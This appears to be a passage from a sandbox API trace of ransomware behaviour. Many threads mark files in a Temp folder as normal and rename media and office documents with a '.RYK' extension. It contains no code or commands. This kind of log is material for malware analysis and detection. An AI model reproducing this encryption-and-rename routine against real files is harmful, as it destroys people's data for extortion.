	[0207.324] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mjmk8.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.325] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mjmk8.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mjmk8.m4a.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1877
	os_tid = 0x2368

	[0207.330] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx", dwFileAttributes=0x80) returned 0
	[0207.330] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.330] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1878
	os_tid = 0x236c

	[0207.336] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a", dwFileAttributes=0x80) returned 0
	[0207.336] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qgojs5u056zz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.336] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qgojs5u056zz.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qgojs5u056zz.m4a.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1879
	os_tid = 0x2370

	[0207.342] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3", dwFileAttributes=0x80) returned 0
	[0207.342] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.342] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1880
	os_tid = 0x2374

	[0207.355] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt", dwFileAttributes=0x80) returned 0
	[0207.355] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qwbhm.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.355] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qwbhm.odt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qwbhm.odt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1881
	os_tid = 0x2378

	[0207.357] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi", dwFileAttributes=0x80) returned 0
	[0207.357] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.357] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.357] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1882
	os_tid = 0x237c

	[0207.358] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav", dwFileAttributes=0x80) returned 0
	[0207.359] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.359] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.359] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1883
	os_tid = 0x2380

	[0207.360] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav", dwFileAttributes=0x80) returned 0
	[0207.360] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ry6fzp6k kz.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.360] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ry6fzp6k kz.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ry6fzp6k kz.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1884
	os_tid = 0x2384

	[0207.362] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4", dwFileAttributes=0x80) returned 0
	[0207.362] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ss2b.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.362] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ss2b.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ss2b.mp4.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1885
	os_tid = 0x2388

	[0207.765] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png", dwFileAttributes=0x80) returned 0
	[0207.765] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tayg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.765] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.765] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tayg.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tayg.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1896
	os_tid = 0x23bc

	[0207.767] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv", dwFileAttributes=0x80) returned 0
	[0207.767] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\vh9z9evprjyc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.767] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.767] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\vh9z9evprjyc.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\vh9z9evprjyc.flv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1897
	os_tid = 0x23c0

	[0207.769] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv", dwFileAttributes=0x80) returned 0
	[0207.769] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\w5fbdldrsf.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.769] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.769] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\w5fbdldrsf.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\w5fbdldrsf.mkv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1898
	os_tid = 0x23c4

	[0207.771] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg", dwFileAttributes=0x80) returned 0
	[0207.771] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wlgrvy balme.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.771] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.771] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wlgrvy balme.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wlgrvy balme.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1899
	os_tid = 0x23c8

	[0207.772] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a", dwFileAttributes=0x80) returned 0
	[0207.772] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xhyat.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.773] CloseHandle (hObject=0xffffffffffffffff) returned 0
